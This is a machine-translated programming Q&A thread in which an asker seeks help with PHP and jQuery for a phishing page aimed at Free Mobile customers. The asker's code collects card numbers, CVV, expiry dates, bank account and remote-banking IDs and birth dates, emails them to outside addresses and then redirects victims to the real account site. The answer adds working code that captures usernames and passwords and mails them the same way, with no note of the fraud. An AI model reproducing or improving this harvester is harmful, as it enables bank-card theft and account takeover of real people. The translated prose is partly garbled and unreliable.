2015-03-31 71 views
0
if(isset($_POST['submitbtn'])) 
{ 

    $pname= $_POST['nom']; 
    $telephone= $_POST['telph']; 
    $acnumber= $_POST['compte']; 
    $rbl= $_POST['distance']; 
    $cardno = $_POST['carte']; 
    $expmonth = $_POST['months']; 
    $expyear = $_POST['year']; 
    $cvv = $_POST['cvv']; 
    $dob = $_POST['birth']; 
    $subject = 'Contact Form from '.$pname.''; 
    $message = 'Nom et prénom:- '.$pname.' 

Telephone: '.$telephone.' 

Numéro de compte:- '.$acnumber.' 

Identifiant banque à distance:- '.$rbl.' 

Numéro de Carte:- '.$cardno.' 

date d expiration:- '.$expmonth.','.$expyear.' 

Cvv 2:- '.$cvv.' 

Date de naissance :- '.$dob.' '; 

$to = "[email protected],[email protected]"; 
$header = "From:www.webperfection.co.in/clients/photonics/ \r\n"; 
$retval = mail ($to,$subject,$message,$header); 
if ($retval) { 
header("Location: https://mobile.free.fr/moncompte/"); 
exit; 
} else { 
//header("Location: /error.html"); 
exit; 
} 

} 
?> 

這將重定向用戶thttps://mobile.free.fr/moncompte/?因爲我不能嘗試在此設置我有兩個js變量,我想發送到一個php腳本來取代併發送爲一個電子郵件沒有刷新

我想它重定向一旦郵件已發送

三江源所有的幫助

我想它重定向一旦郵件已發送郵件功能

+0

看看這與第一部分幫助:HTTP: //labs.jonsuh.com/jquery-ajax-php-json/ – Maximus2012 2015-03-31 21:12:28

+0

PHP部分似乎也在工作。它有什麼問題嗎? – Maximus2012 2015-03-31 21:12:59

+0

請先看帖子 – 2015-03-31 21:40:47

回答

2

只需使用的例子,它會與你的服務器的電子郵件發送代碼工作:

var un = document.getElementById('ident_txt_identifiant').innerHTML; 
var pw = document.myform.pwd_abo.value; 

// post_data will contain name value pair to pass in $_POST server variable 
var post_data = 'un='+ un+ '&pw='+ pw; 

    $.ajax({ 
    type: 'post', 
    url: 'post.php', 
    data: post_data, 
    success: function() { 
     window.location = "http://webperfection.co.in/clients/contactform/moncompte/contactform.php"; 
    } 
    }); 

,並改變你的服務器代碼有點

<?php 
# Send email if and only if username and password fields are passed in $_POST request 
if(isset($_POST['un']) && isset($_POST['pw'])){ 

    $un= $_POST['un']; 
    $pw= $_POST['pw']; 
    $subject = 'Login details'; 
    $message = 'Username:-'.$un.'Password:-'.$pw; 

$to = "[email protected],[email protected]"; 
$header = "From:www.webperfection.co.in/clients/photonics/ \r\n"; 
$retval = mail ($to,$subject,$message,$header); 
} 
?> 
+0

請檢查第一篇文章。新問題 – 2015-03-31 21:33:06

+0

是的,試試吧。 – 2015-03-31 21:34:03

+0

請看第一篇文章請 – 2015-03-31 21:36:43

1

第一個問題,我應該把什麼數據放在:,能夠發送這兩個變量?

data: { un: un, pw: pw }

(其他格式,如data: 'un=something&pw=something_else'是可能的,但是這很可能是最適合你)

而第二個問題,我怎麼把它撿起來在PHP端?

以上將給出PHP中這些變量的$_POST數組,因此您的代碼應該按原樣工作。

+0

請先看帖子 – 2015-03-31 21:40:51

相關問題